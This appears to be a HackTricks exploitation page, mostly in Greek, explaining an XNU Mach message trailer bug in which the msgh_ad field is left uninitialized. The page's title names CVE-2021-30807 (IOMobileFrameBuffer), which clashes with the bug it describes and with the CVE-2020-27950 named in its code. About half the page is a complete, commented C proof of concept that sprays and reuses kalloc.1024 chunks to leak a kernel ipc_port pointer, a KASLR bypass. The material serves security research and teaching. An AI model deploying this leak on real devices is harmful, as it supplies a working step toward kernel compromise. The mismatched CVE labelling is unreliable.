16 KiB
CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
Το σφάλμα
Υπάρχει μια εξαιρετική εξήγηση του vuln εδώ, αλλά συνοπτικά:
Κάθε Mach message που λαμβάνει ο kernel τελειώνει με ένα "trailer": ένα variable-length struct με metadata (seqno, sender token, audit token, context, access control data, labels...). Ο kernel πάντα δεσμεύει το μεγαλύτερο δυνατό trailer (MAX_TRAILER_SIZE) στο message buffer, αλλά αρχικοποιεί μόνο κάποια πεδία, και αργότερα αποφασίζει ποιο μέγεθος trailer θα επιστρέψει βάσει των user-controlled receive options.
Αυτά είναι τα trailer relevant structs:
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
Στη συνέχεια, όταν το trailer object δημιουργείται, μόνο ορισμένα πεδία αρχικοποιούνται, και το μέγιστο μέγεθος του trailer πάντα δεσμεύεται:
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
Τότε, για παράδειγμα, όταν προσπαθείτε να διαβάσετε ένα mach message χρησιμοποιώντας mach_msg() η συνάρτηση ipc_kmsg_add_trailer() καλείται για να προσαρτήσει το trailer στο μήνυμα. Εσωτερικά σε αυτή τη συνάρτηση υπολογίζεται το μέγεθος του trailer και συμπληρώνονται κάποια άλλα πεδία του trailer:
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
Η παράμετρος option ελέγχεται από τον χρήστη, οπότε πρέπει να δοθεί μια τιμή που θα περάσει τον έλεγχο if.
Για να περάσουμε αυτόν τον έλεγχο πρέπει να στείλουμε ένα έγκυρο υποστηριζόμενο option:
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
Όμως, επειδή το MACH_RCV_TRAILER_MASK απλώς ελέγχει bits, μπορούμε να περάσουμε οποιαδήποτε τιμή μεταξύ 0 και 8 ώστε να μην εισέλθουμε μέσα στο if statement.
Στη συνέχεια, συνεχίζοντας με τον κώδικα μπορείτε να βρείτε:
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
Όπως μπορείτε να δείτε, αν το option είναι μεγαλύτερο ή ίσο με MACH_RCV_TRAILER_AV (7), το πεδίο msgh_ad αρχικοποιείται σε 0.
Αν προσέξατε, το msgh_ad ήταν ακόμη το μόνο πεδίο του trailer που δεν είχε αρχικοποιηθεί νωρίτερα και που θα μπορούσε να περιέχει ένα leak από προηγουμένως χρησιμοποιημένη μνήμη.
Έτσι, ο τρόπος για να αποφευχθεί η αρχικοποίησή του είναι να περάσετε μια τιμή option που είναι 5 ή 6, ώστε να περνάει το πρώτο if check και να μην μπαίνει στο if που αρχικοποιεί το msgh_ad, επειδή οι τιμές 5 και 6 δεν έχουν κανέναν τύπο trailer συσχετισμένο.
Basic PoC
Inside the original post, you have a PoC to just leak some random data.
Leak Kernel Address PoC
Στο Inside the original post, υπάρχει ένα PoC για να leak μια kernel address. Για αυτό, ένα μήνυμα γεμάτο mach_msg_port_descriptor_t structs αποστέλλεται, επειδή το πεδίο name αυτής της δομής στο userland περιέχει ένα unsigned int, ενώ στο kernel το πεδίο name είναι pointer σε struct ipc_port. Συνεπώς, η αποστολή δεκάδων από αυτές τις δομές στο μήνυμα στο kernel θα σημαίνει ότι προστίθενται αρκετές kernel addresses μέσα στο μήνυμα ώστε κάποια από αυτές να μπορεί να leak.
Προστέθηκαν σχόλια για καλύτερη κατανόηση:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
Αναφορές
{{#include ../../banners/hacktricks-training.md}}